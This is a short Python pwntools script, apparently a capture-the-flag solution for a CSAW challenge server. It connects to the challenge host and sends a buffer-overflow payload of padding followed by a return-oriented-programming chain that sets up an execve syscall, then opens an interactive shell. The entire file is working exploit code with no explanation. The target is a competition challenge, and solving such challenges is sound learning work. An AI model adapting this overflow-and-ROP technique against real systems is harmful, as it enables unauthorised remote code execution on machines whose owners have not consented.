from pwn import *
pe = remote("pwn.chal.csaw.io",10104)
pe.sendline('A'*0x38+'\xcf\x05\x40\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00'+'\xc6\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+'\xb4\x05\x40\x00\x00\x00\x00\x00\x98\x06\x40\x00\x00\x00\x00\x00'+'\xbd\x05\x40\x00\x00\x00\x00\x00\x40\x10\x60\x00\x00\x00\x00\x00'+'\xaa\x05\x40\x00\x00\x00\x00\x00')
pe.interactive()